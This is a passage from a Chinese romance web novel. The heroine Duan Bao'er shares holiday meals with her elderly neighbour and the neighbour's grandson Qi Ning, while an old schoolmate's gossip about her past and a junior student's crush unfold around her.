不仅精通乐器,体育也很擅长,性格开朗,人缘颇好,表妹的好几个小姐妹都争着给他送礼物,他不收;但会很耐心地给人讲题,所以后来几个小姐妹都争着让他讲题。
“你还记不记得我和你说过,当时谢铮特别受欢迎,但有个讨人厌的女生,老缠着他,我想说的就是这个人。隔壁班的吧,名字我都记得,叫端宝儿,特别好记。”
“端宝儿?”
江屿诺一下就想起来了。
他那天和祁宁吃饭,即使没认真听,也对这个名字有印象。
……当时还以为撞姓,原来真是同一个人?
此时便立马虚心请教,“你说过,具体是怎么回事?”
表妹:“好像说,她妈妈本来是谢铮家的员工,后来怎么的勾搭了谢铮大伯,当了小三,还想勒索上位,最后精神状态不大好,自///,杀了?”
“可能私生活比较乱吧,也没老公,只留下一个女儿,谢铮爸妈觉得小孩无辜,也没着落,就收养了。但她可能也随她妈,把自己当一回事了?还差点耽误了谢铮。”
“我朋友那时候向谢铮告白,她转头就告诉谢铮妈,但自己又特别喜欢缠着谢铮,哎,反正就是很舔男的,婊婊的,感觉不怎么要脸。有种基因如此的感觉。”
江屿诺:“哦——”
有点想起来了。
难怪那时候听到大刘他们说到“端宝儿”这三个字,他下意识就回忆起了高中里的八卦。
他和表妹同校,不同级。
那时,他已经在读大学,放假早,回母校看老师,顺便和表妹的朋友们吃饭。
在食堂听到了这个八卦,她们还指给他看是谁。
一行人坐在食堂的咖啡厅里,往外看端着餐盘路过的端宝儿。
他们的校服不像公立高中那般是统一的运动式,而是及膝的制服裙。
记忆中的女生,不矮,但很瘦。
脸,江屿诺记不大清了
只记得她身上裹的校服布料虽然精致,头发却是有些毛躁的,简单梳了个高马尾,碎发从额前垂下,餐盘旁摆了个小本子,只低头看着。
和周围三两成群打闹路过,讨论暑假去哪度假的同学格格不入。
“好土啊。”
江屿诺还记得表妹的男生朋友笑着吐槽,“她上课好多听不懂,英语口音超——重。
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”
表妹说,“听说她之前是真的在乡下读书,英语不好也很正常。”
当时表妹对她的评价还算客观,后来就慢慢变了。
对端宝儿最后的印象,停留在表妹说:“毕业后想勾引谢铮,被家长撞见,害本来也准备读C大的谢铮被送出国读书了”,或者“学校里谁更有钱她就喜欢勾搭谁,除了谢铮,也勾引过其他学校里的人”。
名声是很烂,没记错啊。
江屿诺头疼地挠了挠脸。
表妹和朋友们讨厌的端宝儿。
母亲不检点自毁后被留下的端宝儿。
没家教所以不大要脸,企图玷污表妹男神的端宝儿。
在食堂有过一面之缘的端宝儿。
她就是那天祁宁在饭桌上提过的“被误会是诈骗”,“平时很照顾奶奶的人么”?
那又怎么会深夜一起兜风呢?
表妹听完原委,不屑地切了一声:“我看她就是听说老人家有个有钱的孙子,故意设计的吧。”
表妹:“老做派了,她高中时期也这样。等我再多问问,就是她的话,你也去和祁宁说一声啊。”
*
一晃又是周日。
“植物拓染课给附近每个小区都上过两轮了。”
端宝儿趴在休息室的桌子上,“接下来策划什么课好?”
小黄没回家午休,也在休息室里,一边吃饭一边放《甄X传》。
她咽下饭,含糊地说:“才两轮?反正喜欢的剧我是不知道看多少遍了,解说能不能快点更新?”
“哎。”
端宝儿叹气,也打开手机,“你知道吗小黄,光是一个省,登记的非遗项目,可能就有大几百种。传说,歌谣,都算。但趣味性和互动性比较强的就要选筛选了,需要技巧的可能还要去线下拜访传承人。我这课,真麻烦啊。”
“……为什么小端姐你的公益课要做非遗主题啊?”
“最重要的理由,是全国上下都重视?去找传承人学习没什么阻碍,做活动也有人会感兴趣。”
端宝儿掰着手指,“新鲜好玩,寓教于乐。”
“小孩学编程是奔着参加机器人比赛去,学音乐美术也是为了考级,老人不是。现在这一辈的老人是从物质匮乏的年代过来的,换位思考,对于感受和享受精神生活更重视吧,所以我……”
端宝儿说着,发现小黄已经走神了,视频里正播放着“这滴血验亲局有很多细节,第一……”
“喂。”
端宝儿没好气地叫她。
“啊?啊哈哈。”小黄紧急按下暂停键,露出一个支持的笑,“小端姐你想做什么直接做就好了,我们都支持你。”
“我生气了。”
“别生气。”小黄转移话题,“对了小端姐,我五一节前一天要请假,错峰回去看爷爷奶奶。”
“没问题。”
“小端姐五一计划去哪里么?”
“不去哪里。到时候你们放假,我看店吧。”
端宝儿懒懒地把椅子放平。
“小端姐是不是都没回过C市?”
“回啥呀,不回去。”端宝儿说,“我那养父养母,他们应该也不希望见到我,不相往来是最好的。”
“那小端姐就是一个人过节咯?我到时候给你带特产。”
习惯一个人过节了。
正这么想着,消息提醒来了,手机轻震。
点开,是微信。
祁宁发来的,自从上次收了钱,端宝儿有在认真办事,有空记录祁奶奶的生活,并经常给祁宁发去。
毕竟收了两万元,端宝儿决定坚持记录祁奶奶的生活来回报——
都是她主动发,所以即使祁宁话少,两人也稳定地保持着每天聊天的频率。
但今天是他主动发来的。
——【五一要不要到奶奶家一起吃饭?】
8. 家常菜和跑山鸡
五月一日。
加上调休,一共有五天假。
长假难得,就算是平时独居的老人,在这种时候,也能和在外读书或忙于工作的家里人团聚。
这样的好日子,端宝儿作为闲散的个体户,自是跟着客人一起放假。
她准备在家好好歇上两天,点麦X劳度过。
却沾了祁奶奶家的光,应了祁宁的邀约,去蹭吃一顿饭。
答应赴约,还有一个理由。
祁宁说祁奶奶相亲没成功。
她这个牵线搭桥的人,去问问原委,疏导心理,也是理所应当。
雨季过去,潮意减轻。
日光明媚,让人彻底忘了上个月初是怎样的阴雨连绵。
出门前,端宝儿又晒枕头和被子。
她洗完澡,穿着睡衣,抱着被子来到顶楼。
连绵的晴天,晾晒的位置空些。
这回端宝儿记得往楼下看看祁宁的车在不在。
老小区的楼层都不很高,爬上楼顶,可以看到小区周边的风景。
都是差不多高的楼,往远了能看到高层建筑,但是也旧。
往楼下看,没有看到曾经见过的祁宁的车。
端宝儿安心地站在顶楼晒了一会儿太阳,头发已经半干,才慢吞吞地回家去。
仍然是化了淡妆,穿浅色的衬衣和长裙。
考虑到要吃饭,又编了个低三股辫。
提上买好的水果,到祁奶奶家时,泰迪已经迎到门口,挠门。
门开后,抬起两只前爪做出拜拜的动作,被祁奶奶拎开了。
祁奶奶的老房子收拾得很干净,阳台上放了两盆绿萝,三盆月季。
老式的红木电视柜上盖着镂空碎花的桌布,电视却是新装的挂壁式,正播放新闻频道。声音开得不大,显得有些遥远,更像朦胧的背景音。
有阿姨在厨房忙活。虽然关着玻璃门,也能闻到食材的香气。
很明显,有炖鸡汤。
阳光晕进来,整个房间散发着暖色调的黄光。
“你来了。”
祁宁走出来,弯腰给她拿拖鞋。
之前端宝儿也来这边陪祁奶奶吃过饭,当时穿的都是备用的中性拖鞋。
但这一双拖鞋,显然是新买的,浅粉色,之前没见过。
“谢谢。”
端宝儿向他笑了一下,先和祁奶奶打招呼。
祁奶奶精神不错,相亲失败也乐呵呵的,介绍道:“祁宁带了很多好吃的来,请了阿姨做,说是做饭很厉害的哦,我就没有上手弄了。”
“您也确实该歇着,不然我都不好意思过来吃饭了。”
端宝儿凑到祁奶奶身边,跟着往客厅走。
她想把带来的水果放到茶几上,祁宁却伸手接过。
“给我吧。”
“哦……好。”
端宝儿有些意外,祁宁在微信上话少。
但生活中怎么意外的……有些贤惠?
这种感觉不是一次两次了。
不知道该怎么描述。
没聊多久,菜都上了桌。
做法很家常,食材倒是丰富新鲜,三盏炖盅,蔬菜,海鲜,炒菜。
端宝儿不擅长品鉴食物,暗暗耐心记下厨师阿姨的介绍。
一会儿要是祁奶奶问她好不好吃呢,她就把记下的词组润色一下,夸赞回去。
“多喝鸡汤。”
祁奶奶对这热闹的氛围似乎很满意,笑意没从嘴角下去过,这会儿稀罕地看着端宝儿,殷勤道:“这鸡是祁宁从农场带回来的跑山鸡,品种也很好的。”
“农场?”
端宝儿歪头。
祁宁开的是农业公司吗?还是他特地下乡去买食材了?
祁宁颔首,“和农场签了合同,包了几百亩地,放设备。”
“好厉害,我来尝尝看。”
阿姨在一盏炖盅里放了长得像无花果的东西,闻起来很香甜,端宝儿想舀汤。
谁知道祁宁快她一步,已经把乘好的小汤碗推了过来。
不大的圆桌只坐了三个人,怎么着都彼此挨着。
所以她和祁宁,是伸手就能够到的距离。
端宝儿侧头看,祁宁正神色自若地用勺子小口喝着汤。
刚才的举动,非常自然,一气呵成,似乎只是顺手。
……应该是对客人的照顾吧,他果真挺居家贤惠的。
端宝儿收回目光,继续听祁奶奶说话。
祁奶奶在说相亲的事。
大意是指,和李老头相处得不错,各方面也合适,对方常年散步又冬泳,身体保养得不错。
但是呢,就是没太多热情。
“所以,也就是当个老朋友还行,不是想要的老伴的感觉。”
祁奶奶如此总结。
快吃完饭时,端宝儿问了件好奇的事:“祁宁是跟您姓吗?”
祁奶奶笑着点头,没说话。
祁宁却在一旁接了句:“我爷爷是入赘,我爸也姓祁。”
……联想到祁宁上次提过的复杂的家境,总觉得如果继续下去,不是个好话题。
端宝儿绕回了相亲一事,和祁奶奶聊些有的没的,准备过一会儿就回家去。
刚过正午,却无端响了几道雷声。
阳光还没散,顷刻,漂泊的大雨已经往下砸。
祁奶奶:“太阳雨。”
端宝儿:“应该又会变凉快一点吧。”
她往外看,晚春初夏的雨声真好听,小区绿化带里的泥土气息被雨水砸得直往空气中冒,却突然想起来——
被子!
晾在天台上的被子!
什么雨声泥土气,这破雨全浇她被子上了!
“……祁奶奶,我要回去收被子了!”
快速感谢招待,端宝儿与祁奶奶解释过,道别,俯身换了鞋,匆匆出门。
当邻居就是这点好,去留都很随意。
走到楼道里,她轻轻把门往回推,蹲下系鞋带。
本该啪嗒一声关上的防盗门,被一只手掌轻轻隔了一下,又弹开了。
那只手,很白皙,手指修长,骨节分明。
门推开一道缝,露出祁宁的脸。
端宝儿想,他长成这样,就算去做流浪汉,也会是体面的。
祁宁低头,目光落在端宝儿头顶,慢慢地说:“我和你去吧。”
听着像是倡议,实则毋庸置疑,人已经走了出来。
端宝儿仰头时目光是从平视往上,所以第一眼落在祁宁的腰腹往下,乍一看便收回了目光。
祁宁今天穿得很居家休闲,下身是……灰色运动裤,质地柔软,轮廓明显
端宝儿立刻站直了身体。
楼道不算宽敞,她这才发现自己和祁宁是有体型差的。
她一米六多,没到一米七。
但祁宁起码一米八五。
不得不说,一米八五往上的人,和一米八,实在是两回事。
一米八是看着不矮,但远看不会觉得很高,站在一起才会发觉有身高差;
如果再高些呢,过了一米八五,是视觉上已经很高,站在一起更觉高了一个头。
更别提祁宁虽然头小脸小,但骨架很大,肩宽优越,手臂也粗,修身的健身短袖,胸前明显被撑起一些,整个人比她大上几号,端宝儿仍有种被笼罩的感觉。
“我是回家收被子……”
“不是下大雨了吗,快走吧,我送你。”
祁宁说话间,喉结跟着动了一下,端宝儿仰头看,才发现他喉结旁有一颗红色的小痣。
再往下,发现祁宁手中拿了伞
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。
是来送她的。
雨确实很大。
端宝儿:“也是,走吧。”
祁宁给她打伞,但很有分寸,二人一把伞,却隔了一小段距离,说的也都是奶奶的事。
“你当时怎么会想到帮奶奶相亲呢?”
端宝儿:“其实是她自己找上我的。她一个人其实挺孤单的吧。”
“嗯,她不去和我爸住,也不可能和我妈住,就只想待在南市的老房子。我只有节假日回来看她。想帮她请保姆,她说不需要,所以定期帮她约家政上门。”
端宝儿:“故土难离,我外婆也这样。”
端宝儿:“冒昧问一句,祁奶奶是不是和叔叔关系不大好?”
祁宁:“正常。他那人不好相处,我小时候他经常打人。”
端宝儿觉得,和祁宁真是需要处处留神,怎么只是普通的问一句,又带出伤心事了呢?
端宝儿:“……家暴那种?”
虽然现在都提倡对待孩子要爱与鼓励为主,但揍小孩的家长也还是有不少。这打与打之间也有区别,有的是家长心力交瘁忍不住打,另一种是拿小孩出气。有的家事也难评判,家暴的界定一直模糊。
“泄愤那种,没争议的家暴。”
祁宁语气听不出波澜,好像在讲一件和自己无关的事,但随便举例几种,听着就让人觉得很疼。
“……喝不喝酒都摔东西打人,后来就好了。毕竟我……发育得很好,能打过他之后,他就不来招惹我了。”
祁宁撑着伞,他咬字很标准,“发育得很好”几个字说得轻飘飘的,十分淡然。
有点无厘头,端宝儿莫名感觉到一丝故意的恶劣,像是说了个冷笑话,而她偏偏也承接住了这份小心思,差点被逗笑,又碍于不礼貌,忍不住抬头瞄他。
祁宁若有所感地低头,对视上后,笑了一下,对她说:“怎么了?”
飘雨打湿他另一边肩膀,头发上也沾了些极细的水珠。
端宝儿发现,祁宁笑时,上唇弯起一点,露出很白也很齐的牙齿,其中犬齿被上唇遮住一大半,露出很锐利的尖儿。
看着风轻云淡的人,竟然承受得也不少呢。
“没什么。”端宝儿摇头,安慰他,“还好过去了。”
端宝儿走得很快,绕过几栋单元楼,按电梯上了顶楼,再爬上天台。
祁宁却没打道回府,也跟着上顶楼。
他有理有据,说记得她一次要晒很多,可能自个儿不方便抱回去,所以帮到底。
端宝儿没拒绝。
毕竟她现在觉得祁宁是熟人了。
人与人认识的契机,决定了对彼此的印象。
都说祁宁是公司老板,如果他们因为生意相识,端宝儿或许觉得他不好相处。
如果他们在学校相识,端宝儿会认为这是一个优秀但和自己没关系的学长。
自然也不会一起吃饭、一起上单元楼收被子。
太逾矩。
但端宝儿先认识祁奶奶,熟悉之后,再认识祁宁,又是同龄人。
不自觉的,便觉得他只是祁奶奶的孙子,是可以被划为熟人的那一档,是在小区就可以看到的人,是最近每天聊家常的人。
所以亲切。
祁宁一手挽着被子,单手撑伞;端宝儿快速收了床单,下了天台楼梯口。
“我不送你下去了。”端宝儿按了自己的楼层,又帮祁宁按了一楼。
祁宁提着伞,在电梯门闭合前看向她,“晚上见。”
中午祁奶奶说还有些新食材,所以约好晚上再吃一顿。
此时端宝儿还是很期待的,因为祁宁约来的阿姨做饭很好吃,不输那天的餐厅。
如果早知道晚上会有来自同一所高中的不速之客——
她或许就不会去了。
9. 不速之客
祁宁:【好大的雨】
端宝儿窝在客厅的沙发,和淋到了雨的床上用品坐在一起,准备玩会儿手机再晾它们;却收到了祁宁的消息。
好大的雨?
她往窗外看。
是更大了。
偶尔就会有这样的雨,天破了口似的往下灌水,不像雨点,更像水柱。
应该下不了多久,但阵仗惊人。
端宝:【是哦】
祁宁:【不留我上楼喝杯茶吗?】
……
端宝儿:?
什么啊?
他还在楼下呢。
祁宁刚才没有快速跑回祁奶奶家,而是被雨困住了吗?
他那样果断就出门送她了,而且刚才也走得很干脆,现在干嘛这么问,显得自己很不周到啊!
但现在天气确实很坏,能感觉到阳光还在,只是被乌云遮住了,黑压压的乌云后透出金色的光来,很难想象还有倾盆大雨版的太阳雨。
端宝儿知道,据说有的时候,一对好朋友分开时,该各回各家,但因为不舍得,会各自送来送去,送到她门口,因为还有话想说,又送回她门口,就这样依依不舍地纠缠。
但她和祁宁是?
腹诽归腹诽,端宝儿还是回了消息。
端宝:【[憨笑]】
端宝:【是我思虑不周[憨笑]】
端宝儿为了遮掩当时每天连着发很多[微笑]的黄豆表情是在表达不满,至今还在立着“爱用微信表情”的人设。
但[微笑]的小黄豆看多了,她自己也觉得有点阴阳怪气。
于是偷偷换成了[憨笑],看起来更和善一点。
她报了门牌号,祁宁记得楼层,不多时便上来了。
“打扰了。”他说,“感觉走回去鞋子会湿,在电梯口又会淋到飘雨。”
“没事。”端宝儿给他开了门,“就是一般没人来我家,你先进来吧。”
端宝儿平时没别的社交,之前有和员工在家里煮过火锅,也算是有过异性进家门。
至于祁宁,还是那句话,如果是通过其他途径认识的,再相处一年也不会是让人进家门的关系。
但先通过长辈认识,之后再有了私交,端宝儿不大介意。
祁宁上楼前,她紧急把没晾好的被子抱进房间里了,此时的客厅看起来很整洁,和祁奶奶家是一种色调,但屋内陈设简谱很多。
阳台上植物种得多些,有蓝星花、小木瑾、矮牵牛和发财树。
“……没有拖鞋呢。”
端宝儿摸了摸后脑勺,翻出团建剩下的一次性拖鞋,递给祁宁,说:“也没什么能招待的,给你泡杯茶吧。”
茶叶是在茶楼吃饭时,被收了6元茶位费,又没及时喝,薅回来的茶包。
半个手掌大小,抽了空气,包装皱皱巴巴。
她看标签,“我看看……铁观音,不知道味道怎么样。”
“我也是觉得刚才还有话没说完,才突然上楼打扰的。”祁宁说,“这样是不太礼貌。”
他单手握着手机,很快地点了几下,端宝儿手机收到消息,一看,转账五千,备注是不好意思。
“……哪有打扰。”
端宝儿现在揣摩清楚了祁宁的性格,在金钱上,他很爽快大方,而且无需推脱。
这是他表达亲近和信任的方式;所以她朝他晃了晃手机,很配合地嬉皮笑脸,展示装模作样的谄媚,“不打扰,等我给你泡好茶。”
祁宁好像被她逗开心了,坐在沙发上,眼神似乎有些揶揄,等她泡茶。
端宝儿没接商品推广合作,“幸福养老”每个月进账稳定,能盈利,但不多。本身又没有喝茶的习惯,家里备的自然也不是多好的茶叶。
“莓茶吧。”端宝儿说,“旅游买回来的,今天拆封了尝尝看,喝起来好像是甜甜的。”
这下包装好看多了,至少是正儿八经的茶叶罐。
叶片在水中舒展,茶叶香气蔓延开来。
她端着玻璃杯,放到祁宁面前,自己则在另一张小沙发上坐下。
“吃饭的时候,祁奶奶不是说,你从农场带了些菜来吗。”
“嗯。”
“那个时候我想起了很早的时候,有一个火过的梗,承包鱼塘,不知道你听过没有。”
祁宁摇头,没有不耐烦,面上带着笑意,听得还挺认真的。
端宝儿解释完“这片鱼塘我为你承包了”的“霸道总裁梗”,又说:“所以我当时想,这边的老头老太都说你是做老板的,如果换成电视剧,你应该是承包农场的那一款霸道总裁。”
端宝儿看祁宁的神色,感觉他好像挺容易被自己逗笑的。
她看祁宁先是露出一种忍俊不禁的神色,而后给她简单的介绍:“我公司是科技方面的。”
“哦——原来是科技公司。”
祁宁:“嗯,现在业务挺多,主要有做无人机和机器人,也不止涉及农业。”
端宝儿不是学相关专业的,具体细节祁宁也没说,说得通俗简短,“正好在这边和农场合作,就是继续看无人机怎么给农田浇水施肥,做优化,顺便卖货。”
听起来做得挺大。端宝儿好奇道:“你们公司叫什么名字?”
“风行。起风的风,行走的行。”
……?
端宝儿捧着水杯喝水,迟滞地想起来,她听过这个名字。
学弟希望能留下来实习的公司。学弟学妹说业界很有名的公司——
什么农场主,原来祁宁开的是那样有实力的公司?
*
晚餐时间。
本该是端宝儿和祁奶奶祖孙一起吃,门铃却突然响了,先露面的是大刘,说是送了点吃的过来。
祁奶奶很感慨。
大刘她认识,是祁宁初中时的朋友。
说起来他们祁家关系不亲,从祁宁还没出生时就开始了。
她和祁意伟母子关系不好,孙子出生后,也没让她带过。
后来祁意伟离婚闹得很难看,祁宁没人管了,才被塞到她身边,读初中。
那时候她尚未退休,没有太多时间,也不知道如何与总是很寡言的祁宁相处。
他早熟,成绩好,不用操心,也不想家似的,情感淡漠。
祁奶奶一度怀疑他自闭。
当时大刘一家还没搬走,知道大刘和祁宁关系不错,祁奶奶还私下问过大刘关于祁宁的事,因此认识了。
祁宁去美国读了一年高中,大刘也搬家,但回老房子时,也陆陆续续看过她几次。
祁宁没和大刘说话,先给端宝儿介绍大刘:“他是初中同学。”
端宝儿只想降低存在感。
好在虽然祁奶奶高兴,祁宁也没有要留大刘吃饭的意思。
大刘也很知趣,把东西放下准备离开,却看到沙发上的端宝儿。
祁宁看着他,说:“……我朋友。”
大刘愣了一下,祁宁朋友吗,笑着向端宝儿点了点头。
以为这插曲就这样过去,门后又窜出个人来——
江屿诺。
“我跟大刘约吃饭呢,他说来你家一趟,我停好车,也跟着上来了。”
江屿诺笑得和善,跟祁宁解释完,又看向祁奶奶。
“我跟您见过一面呢,奶奶,您还记得我吗!”
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不大的老房子突然就热闹起来。
祁宁无动于衷,但祁奶奶总是要留人坐坐的,因为江屿诺真的拜访过她一次,她记得。
端宝儿却觉得有点怪。
她不喜欢人多的地方,本一个人坐在正对电视的大沙发上,此刻挪去了单人沙发,脸上挂着礼貌的微笑,心中却想怎么偷偷走掉。
莫名其妙冒出两个人来,这饭也不是非吃不可。
她愿意来祁奶奶家,是因为与祖孙二人都熟。
她在这二人身边也待得频繁,不会不自在。
可这下有种变成外人的错觉。
氛围突然就变了,这间屋子变得和她没什么关系。
端宝儿握着手机,心不在焉,想着怎么发消息,跟祁宁说一声她要走,才比较合适。
可那很外向的人突然问:“我是不是上次也见过你啊?”
端宝儿抿唇,礼貌颔首,“好像是。”
她记得,是便利店外的两人之一。
长得不错,两回又都是贵气的打扮,自然不难忘记。
“我是江屿诺,跟祁宁一个公司的,过来出差。”
外向的人说。
端宝儿:“啊!”
略做作的恭维一声,露出营业式的笑容。
端宝儿:“我听说过你。我有学弟学妹想去你们公司实习呢,很厉害。”
端宝儿现在能把当时师妹提起的“江总”和眼前这个人联系起来。
客观的说,江屿诺也有一副好皮相。
但端宝儿不是很喜欢,因为他身上的锐气十分外放。
是生活一直足够优渥,没有可操心之事的人,会露出的松弛自信的精神气。
端宝儿不大上心地恭维两句,便点到即止,也没有介绍自己是谁。
不求实习,不求应聘,不求合作,没有交集,有什么好介绍的呢。
那边大刘还在和祁奶奶讲话,祁奶奶例行问候一下对方的家长。
关心已经搬走的老邻居、老同事,无可厚非。
江屿诺便在这个时候问落单的端宝儿:“你是祁宁亲戚吗?”
“朋友。”
端宝儿尚未开口,是祁宁先出声解释。
祁宁本来在大刘那边,这时走过来,往端宝儿手里塞了一盒酸奶。
端宝儿有些莫名其妙,但还是接过,捧在手里,而祁宁站定,在比较靠近她的位置。
“你来做什么?还没回南市。”
他问江屿诺。
“正好来了嘛,和大刘约了饭。”江屿诺很坦然,“我这人一向闲不住,你知道的。”
“打了招呼就快走吧。”祁宁说,“没见我家有客人吗?”
“我不也是客人吗?”江屿诺面上一直挂着笑,他这人一向不大着调,而且得寸进尺。
俗话说伸手不打笑脸人,但祁宁拒绝得很冷硬,“没你的饭,快点走吧。”
“等下,我觉得这个妹妹挺眼熟的。”
江屿诺似是在祁宁身上讨了个没趣,转而把注意力放在端宝儿身上。
他笑得和煦,不会让人觉得被冒犯,而给人一种“他只是逗趣”的感觉,不具备什么威胁性。
端宝儿呵呵笑了两声,看江屿诺像一只人来疯的哈士奇或大金毛。
祁宁却不大明显地蹙眉,“熟什么。”
“真的呀。”江屿诺看着端宝儿,语气十分友善,“我感觉见过你呢,你是南市本地人吧?我肯定在大学路那一片见过你。”
端宝儿摇头:“C市。”
“C市?”江屿诺眯起眼睛笑,“我也是C市人,那我应该是在高中见过你?你哪所高中的?”
10. 爬山虎
几乎是第一时间,端宝儿反应过来。
江屿诺不是随意一问。
他认识她,来者不善,甚至在针对她。
为什么?
江屿诺跟她一所高中?
可她入学的时候,江屿诺应该也毕业了。
“不会吧。”端宝儿也笑,表情和煦,似乎与江屿诺很是投机,“我在县里上的学,你看起来不像啊。”
*
大刘和江屿诺没能留下来吃饭,被祁宁催促着走了。
阿姨已经把晚餐摆好,菜色仍然诱人。
落座后,端宝儿神色如常地和祁奶奶聊天。
她也的确健谈。老年人感兴趣的话题,端宝儿都能接个七七八八,丝毫不会露出不耐烦的神情。
但祁宁还是从她身上感受到一些心不在焉。
为什么呢?
是因为江屿诺吗?
祁宁吃着饭,咀嚼的却是中午的记忆。
中午端宝儿进家门时,那色调很像梦里的场景,气氛好到有些不真实的程度。
是如何亲昵地进门,喜气洋洋地说话……不扭捏作态,不畏手畏脚,不虚情假意,就那样笑着撞了进来。
祁宁想,如果这是过年,不用贴红对联、送财童子或年画娃娃,端宝儿穿上红衣裳到家中走一趟就够了。
可眼前的端宝儿,和他想象中的形象有了出入。
她在——焦躁。
闲聊的间隙,笑容会戛然而止,轻抿着嘴,漫不经心地垂眼,摆弄一下碗沿,一双筷子正过来,又倒过去。
抬眼时将这些异样尽数隐去,再也看不出什么情绪。
即使她连眉头都没皱一下,祁宁却知道,焦躁是存在的。
若能直接对他说为什么焦躁也好。
*
送端宝儿回家时,天已经黑下来。
雨落尽之后,天色又放晴,暗蓝色的夜幕铺展大半天空,天际却还散发着橙黄的光晕。
“我明天要回C市。”祁宁说,“大概半个月才回家。”
虽然他此前一直常住C市,对南市,用的却是“回”字。
他仍是若无其事地报备行程,端宝儿果然也自然而然地接受,并未察觉到什么不对。
只是这一次,祁宁没有跟得很紧,只送她到电梯口,而后目送端宝儿很正常地挥手与他说再见。
电梯门缓缓关上,她没有说别的话。
祁宁心里却按捺不住幻想——
想要的氛围好像不是这样。
她应当坐在他对面慢慢地向他倾诉烦恼,或者很鲜活地告诉他方才是为什么不高兴。
说完话她的心情会好得多,脸上不再有遮掩过的厌烦和落寞,然后他该和她一起上楼去——
……
祁宁在端宝儿的单元楼下站了一会儿,鞋尖碾过老小区水泥路上的砂砾。
少有这种压抑不住冲动的时刻。
若抽上一支烟,大约能缓解不少,可惜祁宁从不抽烟。
鼻尖又浮现出方才在她身上闻到的香味,很好闻,不是花香、果香或是木质调,是闻了忍不住想凑近再闻的气味。
可端宝儿说过她没用香水,身上洗发露的气味也是更浓烈的另一种。
回家的路上,祁宁在搜索栏轮番输入了几种相近的香调。
弹出来的关联词却是:生理性喜欢。
网页上写着,如果你喜欢一个人身上的味道,觉得他很香,那么很有可能是生理性喜欢——
祁宁哂笑一声,按了锁屏。
他不大信这一套。
生理性喜欢听起来像是被体内激素支配了,受身体的驱使,下流又廉价。
可走回家,祁奶奶显然心情很好,正在把端宝儿白天带来的水果塞进冰箱里。
见祁宁推门回来,用一种炫耀自家孩子的口吻说:“小端那面色白里透红,一直笑眯眯的,一看就很有福气,真是谁见了都很喜欢。”
祁奶奶又说:“你是不是也对她挺有好感的?”
祖孙关系缓和不少,至少这两天相处得很平和,很正常。
祁奶奶拉家常的随便一问,像逗趣,像闲谈,像胡说。
她问得也并不认真,显然不期望得到祁宁认真的回复,只是想营造一种“祖孙打趣”的氛围。
但祁宁没接话,显然听得认真。
他想,网上的帖子,偶尔也有可取之处。
那五个字算不得合适,却可以减去三个字。
将生理性抹掉,剩下的,很客观。
祁宁单手扯过椅子,坐下,食指的指侧轻撑下颌,似是很认真地想了一想,说:
“如果我真的对她有好感呢?”
*
范明铄:【学姐明天有空吗?】
……这谁?
五月四日,下午三点。
端宝儿前一夜晚睡了些,正在补午觉,突然听到了消息提醒。
她整个人裹着一床薄被子,伸出一只手,从枕头的远处摸到手机,却看到是“范明铄”这个名字。
完全不认识!
等睡意减轻,大脑又变得清醒,才想起来,是上次来找她参加志愿活动的那个学弟。
记忆渐渐拼凑。
学弟好像是学计算机的,但普通话过于标准,以至于听起来像是学播音主持专业。
长得也清清爽爽,具体什么样有点忘了,是那种注重打扮的男生,手链上的奢侈品标很显眼,但不是很好看。端宝儿欣赏不来贵但丑的东西,学弟戴得泰然自若。
他身上没有被大厂摧残过的痕迹,学生气重,没有丝毫班味。
是在优渥又幸福的家庭中长大的孩子。
端宝儿先去洗了把脸,肤色顿时亮起来,白而水润。
她盯着镜子,想起在网上刷到过的说法,网友都觉得洗完澡后皮肤看起来更好。
端宝儿不大喜欢那种“在吗”式的描述,宁可晾一会儿,等对方直说是为了什么事。
磨蹭地在家里转了几圈,没有立刻回复。
好在小学弟也比较上道,一会儿就把邀请发了过来。
他说和上次的两个学妹又准备来北华区,问端宝儿要不要一起吃饭。
理由也很充分,上次受了端宝儿的照顾,而且下次可能还要麻烦端宝儿。
*
次日,端宝儿赴约,便鲜明察觉到学弟好感自己。
这可能,是这顿饭的根本目的?
主要是从学妹的反应察觉的。
四人的圆桌,端宝儿和学弟坐得最近,两个学妹自发挤在一起,神情好懂。
有个词好像叫“僚机”,小学妹此时就是这种定位。
而学弟,会在聊天的间隙附和学妹,一起恭维端宝儿“漂亮”,眼睛亮亮的,偶尔耳垂泛红,散发着一种“虽然在大学中很受欢迎但面对已经毕业的年上学姐还是有些手足无措”的青涩感。
最后还是学妹借故买东西,学弟一个人送端宝儿走回小区门口。
有些奇妙,端宝儿想。
她不是没被人喜欢过,但这样青涩的、正常的、最正统的大学校园的喜欢,也实在是有些许遥远和陌生了。
升上大四之前,端宝儿就已经很少回学校,住在年轻人相对稀少的北华区,租下棋牌室,改成了更加多元的养老机构。
在那之前有大学同学喜欢她吗?
不记得了,应该是有的。
但那时候的她冷淡很多,在学校几乎没什么社交,自然也没有像今天这样吃饭后独处的机会。
端宝儿将话题不动声色带到男女朋友上,小学弟果然很单纯地笑笑,开始
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交代,之前谈过,现在是单身。
说到单身二字,他耳垂又发红。
端宝儿装作没看见,也笑着说:“多享受单身生活吧,像我,就准备一直单着。”
端宝儿一直认为,面对一个人明显对自己产生了好感、又不至于立刻告白的情况,常规做法是尽早点破。
只有在她也同样对对方抱有好感时,才可以视而不见、装傻充愣,任由对方情感发酵。
因为,如果不准备回应一个人,还装傻充愣,保持原状,默许对方的感情滋生膨胀,是对暗恋之人的一种不公平。
她不喜欢辜负人的真心,所以这真心别彻底长出来最好。
此时端宝儿就采取点破的做法,闲聊似的轻轻点出了自己的态度:不谈。
这是一种委婉的提醒。
当然小学弟也可能不把她的态度当一回事;这不重要。
他到此为止当然最好,二人还可以做朋友,也不会尴尬。若执意继续,非要戳破喜欢,她也可以坦荡拒绝。那时无非就是她问心无愧,他更痛一点,或不好意思再来往。
此刻,小学弟果真没当一回事。
他试探地问端宝儿:“听起来学姐谈过恋爱?”
端宝儿:“为什么这么说呢?”
学弟:“‘享受单身生活’,不会是一直单身的人说出来的话,再说学姐这么漂亮,没谈过才奇怪。”
端宝儿半开玩笑,“要看怎么算了?如果幼儿园小学的初恋也算是恋爱,那应该不剩没谈恋爱过的人。”
学弟:“喔,所以要论起正经的算法,学姐没有前任。”
端宝儿不置可否,弯着眼睛笑。
“没有。”
她听到自己很果断地否认了。
端宝儿只让学弟陪到小区门口,便催他去和买东西的学妹汇合。
独自走进小区时,手机的消息提醒连着弹了几下。
祁宁:【图片】
祁宁:【这是哪一家店?】
祁宁:【看起来很好吃。】
祁宁:【黑猫鞠躬.jpg】
端宝儿:?
怎么祁宁存了她吃饭前发的朋友圈里的图。
祁宁大概看到朋友圈就来问了。
